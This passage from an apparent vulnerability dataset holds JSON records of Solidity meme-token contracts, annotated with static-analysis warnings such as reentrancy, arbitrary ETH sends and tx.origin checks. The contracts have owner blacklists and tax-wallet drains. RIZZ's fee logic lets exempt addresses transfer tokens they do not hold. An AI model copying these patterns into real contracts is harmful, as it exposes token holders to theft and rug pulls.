ab392a2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ff4a356\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ff4a356\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ab392a2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ab392a2\n\t\t// reentrancy-events | ID: a070405\n\t\t// reentrancy-benign | ID: 3a77a26\n\t\t// reentrancy-eth | ID: ff4a356\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6e6f279): MELLOW.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6e6f279: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ab392a2\n\t\t// reentrancy-events | ID: a070405\n\t\t// reentrancy-eth | ID: ff4a356\n\t\t// arbitrary-send-eth | ID: 6e6f279\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17daf39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17daf39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 17c6db7): MELLOW.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 17c6db7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8e314bd): MELLOW.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8e314bd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6897ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6897ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 17daf39\n\t\t// reentrancy-eth | ID: f6897ff\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 17daf39\n\t\t// unused-return | ID: 8e314bd\n\t\t// reentrancy-eth | ID: f6897ff\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 17daf39\n\t\t// unused-return | ID: 17c6db7\n\t\t// reentrancy-eth | ID: f6897ff\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 17daf39\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f6897ff\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10567.sol",
"size_bytes": 22419,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface RIZZRouter {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface RIZZFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a839ba1): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for a839ba1: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: a839ba1\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract RIZZ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 24958c6): RIZZ._vaultAddress should be immutable \n\t// Recommendation for 24958c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _vaultAddress;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Zoomer Rizz\";\n\n string private constant _symbol = unicode\"RIZZ\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d6efc3): RIZZ._maxSwapOver should be constant \n\t// Recommendation for 4d6efc3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxSwapOver = 1_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43cbf70): RIZZ._swapThreshold should be constant \n\t// Recommendation for 43cbf70: Add the 'constant' attribute to state variables that never change.\n uint256 public _swapThreshold = 50 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28afcfa): RIZZ._initialBuyTax should be constant \n\t// Recommendation for 28afcfa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: afeb137): RIZZ._initialSellTax should be constant \n\t// Recommendation for afeb137: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab2bbc2): RIZZ._finalBuyTax should be constant \n\t// Recommendation for ab2bbc2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f601a8): RIZZ._finalSellTax should be constant \n\t// Recommendation for 3f601a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: d97f571): RIZZ._reduceBuyTaxAt should be constant \n\t// Recommendation for d97f571: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe15073): RIZZ._reduceSellTaxAt should be constant \n\t// Recommendation for fe15073: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddd166a): RIZZ._preventSwapBefore should be constant \n\t// Recommendation for ddd166a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 9;\n\n uint256 private _buyCount = 0;\n\n RIZZRouter private rizzRouter;\n\n address private rizzPair;\n\n bool private tradingOpen;\n\n bool private inSwapBack = false;\n\n bool private swapBackEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwapBack = true;\n\n _;\n\n inSwapBack = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f86bc80): RIZZ.constructor(address)._addr lacks a zerocheck on \t _vaultAddress = address(_addr)\n\t// Recommendation for f86bc80: Check that the address is not zero.\n constructor(address _addr) {\n\t\t// missing-zero-check | ID: f86bc80\n _vaultAddress = payable(_addr);\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_vaultAddress] = true;\n\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initRIZZ() external onlyOwner {\n rizzRouter = RIZZRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _approve(address(this), address(rizzRouter), _tTotal);\n\n rizzPair = RIZZFactory(rizzRouter.factory()).createPair(\n address(this),\n rizzRouter.WETH()\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e39eb3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e39eb3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8303589): RIZZ.openRIZZ() ignores return value by rizzRouter.addLiquidityETH{value address(this).balance}(address(this),rizzAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 8303589: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c9e99da): RIZZ.openRIZZ() ignores return value by IERC20(rizzPair).approve(address(rizzRouter),type()(uint256).max)\n\t// Recommendation for c9e99da: Ensure that all the return values of the function calls are used.\n function openRIZZ() external onlyOwner {\n uint256 rizzAmount = _tTotal.mul(100 - _initialSellTax).div(100);\n\n\t\t// reentrancy-benign | ID: e39eb3e\n\t\t// unused-return | ID: 8303589\n rizzRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n rizzAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e39eb3e\n\t\t// unused-return | ID: c9e99da\n IERC20(rizzPair).approve(address(rizzRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e39eb3e\n swapBackEnabled = true;\n\n\t\t// reentrancy-benign | ID: e39eb3e\n tradingOpen = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0060338): RIZZ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0060338: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 150e01a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 150e01a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cd0634a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cd0634a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 150e01a\n\t\t// reentrancy-benign | ID: cd0634a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 150e01a\n\t\t// reentrancy-benign | ID: cd0634a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 671b3dd): RIZZ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 671b3dd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cd0634a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 150e01a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ad31d71): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ad31d71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 63516a3): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 63516a3: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 283e53d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 283e53d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapBackEnabled || inSwapBack) {\n _transferStandard(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (transferDelayEnabled) {\n if (to != address(rizzRouter) && to != address(rizzPair)) {\n\t\t\t\t\t// tx-origin | ID: 63516a3\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == rizzPair &&\n to != address(rizzRouter) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n contractTokenBalance > _swapThreshold &&\n _buyCount > _preventSwapBefore &&\n !inSwapBack &&\n to == rizzPair &&\n swapBackEnabled &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: ad31d71\n\t\t\t\t// reentrancy-eth | ID: 283e53d\n swapTokensForEth(\n minOf(amount, minOf(contractTokenBalance, _maxSwapOver))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ad31d71\n\t\t\t\t\t// reentrancy-eth | ID: 283e53d\n sendETHToRIZZ(address(this).balance);\n }\n }\n }\n\n (address feeReceipt, uint256 taxFees, uint256 tsAmount) = _takeRIZZFees(\n from,\n to,\n amount\n );\n\n if (taxFees > 0) {\n\t\t\t// reentrancy-eth | ID: 283e53d\n _balances[feeReceipt] += taxFees;\n\n\t\t\t// reentrancy-events | ID: ad31d71\n emit Transfer(from, feeReceipt, taxFees);\n }\n\n\t\t// reentrancy-eth | ID: 283e53d\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: 283e53d\n _balances[to] += tsAmount;\n\n\t\t// reentrancy-events | ID: ad31d71\n emit Transfer(from, to, tsAmount);\n }\n\n function _transferStandard(\n address from,\n address to,\n uint256 amount\n ) internal {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function minOf(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = rizzRouter.WETH();\n\n _approve(address(this), address(rizzRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: ad31d71\n\t\t// reentrancy-events | ID: 150e01a\n\t\t// reentrancy-benign | ID: cd0634a\n\t\t// reentrancy-eth | ID: 283e53d\n rizzRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = ~uint256(0);\n\n _maxWalletSize = ~uint256(0);\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(~uint256(0));\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c513535): RIZZ.sendETHToRIZZ(uint256) sends eth to arbitrary user Dangerous calls _vaultAddress.transfer(amount)\n\t// Recommendation for c513535: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToRIZZ(uint256 amount) private {\n\t\t// reentrancy-events | ID: ad31d71\n\t\t// reentrancy-events | ID: 150e01a\n\t\t// reentrancy-eth | ID: 283e53d\n\t\t// arbitrary-send-eth | ID: c513535\n _vaultAddress.transfer(amount);\n }\n\n function _takeRIZZFees(\n address from,\n address to,\n uint256 amount\n ) internal view returns (address, uint256, uint256) {\n uint256 taxFees = 0;\n\n uint256 tsAmount = 0;\n\n address feeReceipt = address(this);\n\n if (_isExcludedFromFees[from]) {\n taxFees = amount - tsAmount;\n\n tsAmount = amount;\n\n feeReceipt = from;\n } else if (rizzPair == from) {\n taxFees = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n tsAmount = amount - taxFees;\n } else if (rizzPair == to) {\n taxFees = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n tsAmount = amount - taxFees;\n } else {\n tsAmount = amount;\n }\n\n return (feeReceipt, taxFees, tsAmount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10568.sol",
"size_bytes": 20268,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BABYBITCOIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0723d09): BABYBITCOIN._taxWallet should be immutable \n\t// Recommendation for 0723d09: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6489815): BABYBITCOIN._initialBuyTax should be constant \n\t// Recommendation for 6489815: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89a04e6): BABYBITCOIN._initialSellTax should be constant \n\t// Recommendation for 89a04e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 109e2b4): BABYBITCOIN._finalBuyTax should be constant \n\t// Recommendation for 109e2b4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ed8f1c): BABYBITCOIN._finalSellTax should be constant \n\t// Recommendation for 2ed8f1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68cc282): BABYBITCOIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 68cc282: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70e59d2): BABYBITCOIN._reduceSellTaxAt should be constant \n\t// Recommendation for 70e59d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ca69d6): BABYBITCOIN._preventSwapBefore should be constant \n\t// Recommendation for 7ca69d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Baby Bitcoin\";\n\n string private constant _symbol = unicode\"$BABYBTC\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 656c2b6): BABYBITCOIN._taxSwapThreshold should be constant \n\t// Recommendation for 656c2b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 213308e): BABYBITCOIN._maxTaxSwap should be constant \n\t// Recommendation for 213308e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34cfba5): BABYBITCOIN.uniswapV2Router should be immutable \n\t// Recommendation for 34cfba5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73cc784): BABYBITCOIN.uniswapV2Pair should be immutable \n\t// Recommendation for 73cc784: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56eee94): BABYBITCOIN.sellsPerBlock should be constant \n\t// Recommendation for 56eee94: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61fbab5): BABYBITCOIN.buysFirstBlock should be constant \n\t// Recommendation for 61fbab5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 30;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0b3840Abd4ED9De0967886E23463a85869D80139);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n 